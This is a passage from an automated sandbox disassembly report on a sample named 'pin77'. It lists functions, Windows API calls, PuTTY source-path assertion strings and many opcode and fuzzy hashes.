                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: TextWindow$Iconic_strlen
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 1204891203-0
                                                                                                                                                    • Opcode ID: 7fb1569d3f13fe43ff578602ef71f95965a10445ccae300b2584780837aa035d
                                                                                                                                                    • Instruction ID: 065dd51d0041e60c1663d1574c2a5f0ee302bcfae6723010245d15f06bec6928
                                                                                                                                                    • Opcode Fuzzy Hash: 7fb1569d3f13fe43ff578602ef71f95965a10445ccae300b2584780837aa035d
                                                                                                                                                    • Instruction Fuzzy Hash: E101D8B6900251ABEB536F11BC46F3B7B2CEB00795F050434FE08691B2EB227824D791
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002F82E0 Relevance: 4.6, APIs: 3, Instructions: 52windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                      • Part of subcall function 00328710: _strlen.LIBCMT ref: 00328720
                                                                                                                                                    • IsIconic.USER32 ref: 002F8337
                                                                                                                                                    • SetWindowTextW.USER32(00000000,?), ref: 002F8357
                                                                                                                                                    • SetWindowTextA.USER32(00000000,00000000), ref: 002F8375
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: TextWindow$Iconic_strlen
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 1204891203-0
                                                                                                                                                    • Opcode ID: 898df06eebb3e900cedfc7dbdda4362d35cd67e4c264d7f54ad26d60b4faf5c2
                                                                                                                                                    • Instruction ID: 191f9f454a10eff669e7148ae5eaa55b45c5b8f31e9ee95a8a8e51ebd7d421a0
                                                                                                                                                    • Opcode Fuzzy Hash: 898df06eebb3e900cedfc7dbdda4362d35cd67e4c264d7f54ad26d60b4faf5c2
                                                                                                                                                    • Instruction Fuzzy Hash: 9501F0F6900111ABDB537F11BD46F7A776CDB10755F090074FE04691B2DB219C24C7A2
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00302240 Relevance: 4.3, Strings: 3, Instructions: 575COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    • nchars_used < nchars_got, xrefs: 00302380
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/terminal/terminal.c, xrefs: 00302360, 0030237B
                                                                                                                                                    • chars != NULL, xrefs: 00302365
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/terminal/terminal.c$chars != NULL$nchars_used < nchars_got
                                                                                                                                                    • API String ID: 0-1149337742
                                                                                                                                                    • Opcode ID: e64ee9f1ff0ae4aed6f74f0ddefa1097e8e7fbfd8f213e55b73a7d708437633c
                                                                                                                                                    • Instruction ID: 6c04cf28c35d7926738251471523e4e2325d5f91a0cd5ddcdc46bc82e66b578b
                                                                                                                                                    • Opcode Fuzzy Hash: e64ee9f1ff0ae4aed6f74f0ddefa1097e8e7fbfd8f213e55b73a7d708437633c
                                                                                                                                                    • Instruction Fuzzy Hash: 48225AB05057408FD722CF34C8A97ABB7E6AF85304F258C2DE59A872D2D775E984CB42
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0035AB10 Relevance: 4.3, Strings: 3, Instructions: 512COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/crypto/mpint.c$len <= pool->nw$scratch.nw >= mp_mul_scratchspace_unary(inlen)
                                                                                                                                                    • API String ID: 0-2369011873
                                                                                                                                                    • Opcode ID: a3e747c345c9b57d10b94578ad9a6ac5a8f1b29693d0c019e083af92219dc0ec
                                                                                                                                                    • Instruction ID: bc032b9e754471422e3b2b9c929ec735013553d65a0e968254463e6157b6dcb9
                                                                                                                                                    • Opcode Fuzzy Hash: a3e747c345c9b57d10b94578ad9a6ac5a8f1b29693d0c019e083af92219dc0ec
                                                                                                                                                    • Instruction Fuzzy Hash: 9C128E71B087559FC725DF69C890A6AB7E1FF88301F15893DE98AC7350E771A809CB82
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00309350 Relevance: 4.3, Strings: 3, Instructions: 505COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/terminal/terminal.c$col >= 0 && col < line->cols$x > 0
                                                                                                                                                    • API String ID: 0-4006887939
                                                                                                                                                    • Opcode ID: 23a632436e3c94f7702d5645d556327578ad80a4a2854ccba8594199e69e69d6
                                                                                                                                                    • Instruction ID: 1247676836aef7ffcaad9eeba6b5eff80d7a3355ba3180f5d9cf0ea9289b6c2d
                                                                                                                                                    • Opcode Fuzzy Hash: 23a632436e3c94f7702d5645d556327578ad80a4a2854ccba8594199e69e69d6
                                                                                                                                                    • Instruction Fuzzy Hash: 4012CDB06017018FDB25DF39C8A1BA6B7E2BF85304F05892DD59A8B3D2EB71B855CB41
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003593C0 Relevance: 4.2, Strings: 3, Instructions: 471COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/crypto/mpint.c$low_digit < 10$x->nw < (~(size_t)1) / (146 * BIGNUM_INT_BITS)
                                                                                                                                                    • API String ID: 0-1610729950
                                                                                                                                                    • Opcode ID: 072df1d2b09f314fd5758675cb94fa5c4b9bde0f1ba4b664074f083e5b34be21
                                                                                                                                                    • Instruction ID: 2104ac1c8a8a1e139856997e5e7635e6ae3e4c7debe3154f0d691df48ddbe303
                                                                                                                                                    • Opcode Fuzzy Hash: 072df1d2b09f314fd5758675cb94fa5c4b9bde0f1ba4b664074f083e5b34be21
                                                                                                                                                    • Instruction Fuzzy Hash: 66F13971A04311DFC716DF28CC51F6AB7E1AB91305F06856DEC894B3A2EB31AD19CB91
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003750F0 Relevance: 4.0, Strings: 3, Instructions: 240COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/crypto/ntru.c$n != 0$n == 1
                                                                                                                                                    • API String ID: 0-484143442
                                                                                                                                                    • Opcode ID: fe10b30f32dba551ca223c323434a9734cc37f5fb798512831df0a5f09c44451
                                                                                                                                                    • Instruction ID: 71c729240cef36c5570493a50a1885e8b4cc7e1d73820e6ef0f2df59eaaab5cc
                                                                                                                                                    • Opcode Fuzzy Hash: fe10b30f32dba551ca223c323434a9734cc37f5fb798512831df0a5f09c44451
                                                                                                                                                    • Instruction Fuzzy Hash: 3D91DFB0A04701AFD3399F19C881B1AB7E2FF84304F19C92DE5995B3A1E7B6B851CB41
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003072E0 Relevance: 3.9, Strings: 3, Instructions: 173COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/terminal/terminal.c$col >= 0 && col < line->cols$tmpsize <= INT_MAX
                                                                                                                                                    • API String ID: 0-530750883
                                                                                                                                                    • Opcode ID: 64db513a5d6d73cad2ed1cc5cba39cbb136009050a72a72d50c4a6242cb8a1de
                                                                                                                                                    • Instruction ID: bf8f46cceba29cf6dee34919169428c5337a1c365884e19cecb6efcc7c663589
                                                                                                                                                    • Opcode Fuzzy Hash: 64db513a5d6d73cad2ed1cc5cba39cbb136009050a72a72d50c4a6242cb8a1de
                                                                                                                                                    • Instruction Fuzzy Hash: 3151BC75A047058FC736CF1AE851B66B7F2BFD0700F0A8A2CD5464B6A1EB70F908CA90
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00344B20 Relevance: 3.0, APIs: 2, Instructions: 42fileCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • FindFirstFileA.KERNEL32(00000000), ref: 00367B62
                                                                                                                                                    • FindClose.KERNEL32(00000000), ref: 00367B79
                                                                                                                                                    • FindWindowA.USER32 ref: 00367B8D
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Find$CloseFileFirstWindow
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 2475344593-0
                                                                                                                                                    • Opcode ID: efa5b351b13d035e29e8c0b24b9ea99d1179f91e4460aa9e551ab1368e0f1d93
                                                                                                                                                    • Instruction ID: 76dac4531e6669c05786c002e4611335a177cd147e6a5834e748766f2743a04c
                                                                                                                                                    • Opcode Fuzzy Hash: efa5b351b13d035e29e8c0b24b9ea99d1179f91e4460aa9e551ab1368e0f1d93
                                                                                                                                                    • Instruction Fuzzy Hash: 25F0F6B16051405BC6236B39EC46BBE73A8EB8A365F150239FC59CF2D1E6359C05E292
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003690C0 Relevance: 3.0, Strings: 2, Instructions: 520COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/ssh/zlib.c, xrefs: 003690DC
                                                                                                                                                    • !dctx->outblk, xrefs: 003690E1
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: !dctx->outblk$/home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/ssh/zlib.c
                                                                                                                                                    • API String ID: 0-702135274
                                                                                                                                                    • Opcode ID: c0862105093421834fe0a4d40124f7597e907c6f77f33b02b6eb9ff9783676dd
                                                                                                                                                    • Instruction ID: c4452cde49fbf4ca62f67eda534ec3135058fb1eede2de756991569e5de66e90
                                                                                                                                                    • Opcode Fuzzy Hash: c0862105093421834fe0a4d40124f7597e907c6f77f33b02b6eb9ff9783676dd
                                                                                                                                                    • Instruction Fuzzy Hash: DA1289719046218BDB15CF18C498765B7A9BF85324F25C6AED8D98F38CDB34AC46CFA0
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002F8390 Relevance: 3.0, APIs: 2, Instructions: 18windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: IconicShowWindow
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 3061500023-0
                                                                                                                                                    • Opcode ID: 453ef15d770dd5556ac23409df2f8bcdb4a14818a3eb5ea117afdaee72b22453
                                                                                                                                                    • Instruction ID: 68b06a3b4b4d8ff118ee96e379a04e86ff45bdf436b3a6987ccc3f1725f92d37
                                                                                                                                                    • Opcode Fuzzy Hash: 453ef15d770dd5556ac23409df2f8bcdb4a14818a3eb5ea117afdaee72b22453
                                                                                                                                                    • Instruction Fuzzy Hash: FBD09EF42551469BEB162F24AE54776FB9DFB15781F0844B0FAC5861B1DF328820E711
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0035F600 Relevance: 3.0, Strings: 2, Instructions: 487COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/crypto/mpint.c$len <= pool->nw
                                                                                                                                                    • API String ID: 0-258130381
                                                                                                                                                    • Opcode ID: 0553c6444ee5666b63d33493c5d3ae538c1b87ac2d1a0407224875a3c3d95f31
                                                                                                                                                    • Instruction ID: 7e88a9fd2bbd2db4d5fd3652c180f31531c9889e8440d1db27e43c48101cb948
                                                                                                                                                    • Opcode Fuzzy Hash: 0553c6444ee5666b63d33493c5d3ae538c1b87ac2d1a0407224875a3c3d95f31
                                                                                                                                                    • Instruction Fuzzy Hash: 2F028E76A047109FC725DF28D881A6AB7E5FF88304F15892DED9A97361D731ED04CB82
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00368100 Relevance: 2.7, Strings: 2, Instructions: 210COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    • !(len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) || len % SSH_BLOCKSIZE != 0), xrefs: 00368125
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/ssh/crc-attack-detector.c, xrefs: 00368120, 003682F9
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: !(len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) || len % SSH_BLOCKSIZE != 0)$/home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/ssh/crc-attack-detector.c
                                                                                                                                                    • API String ID: 0-3667554043
                                                                                                                                                    • Opcode ID: 55d081d83c6d3cef1cb2385083d406473e4322d8906850ddc217a1c72d80dbd0
                                                                                                                                                    • Instruction ID: 86f055513f296ac3b86272a11b43e253982e6a27a380dec8705106db1086fd0e
                                                                                                                                                    • Opcode Fuzzy Hash: 55d081d83c6d3cef1cb2385083d406473e4322d8906850ddc217a1c72d80dbd0
                                                                                                                                                    • Instruction Fuzzy Hash: BA51F3756046019BCB26CF14D8A1A2AB3E5FF9C704F258A2CE48A9B344EF30FD01CB91
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0036E280 Relevance: 2.6, Strings: 2, Instructions: 150COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: t\<$t^<
                                                                                                                                                    • API String ID: 0-3978904309
                                                                                                                                                    • Opcode ID: 544dbe854fa18566bf8a8676474e22844f4f682b415890e87d17576b01f53541
                                                                                                                                                    • Instruction ID: 089d5b5b8f5be29afe5dfb0bd18dc4b66bf9e9a13e3ccb89d8b079828d624d4e
                                                                                                                                                    • Opcode Fuzzy Hash: 544dbe854fa18566bf8a8676474e22844f4f682b415890e87d17576b01f53541
                                                                                                                                                    • Instruction Fuzzy Hash: 3951C3B3A28A114BE348DE25CC0631BB7D2EBC4310F0AC93DE595E7345CA74E911DB85
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0036C9F0 Relevance: 2.6, Strings: 2, Instructions: 117COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/crypto/rsa.c, xrefs: 0036CA8B
                                                                                                                                                    • h->hlen <= MAX_HASH_LEN, xrefs: 0036CA90
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/crypto/rsa.c$h->hlen <= MAX_HASH_LEN
                                                                                                                                                    • API String ID: 0-284240353
                                                                                                                                                    • Opcode ID: 9e0a8be7cedd03e49c0c0fed62eef6fed36a3c8993fb5f77af0ab288c23905a7
                                                                                                                                                    • Instruction ID: 81b86b3d08511852e34f7c78a4cfe70bb6ae6331fc001988b1a0432686efb680
                                                                                                                                                    • Opcode Fuzzy Hash: 9e0a8be7cedd03e49c0c0fed62eef6fed36a3c8993fb5f77af0ab288c23905a7
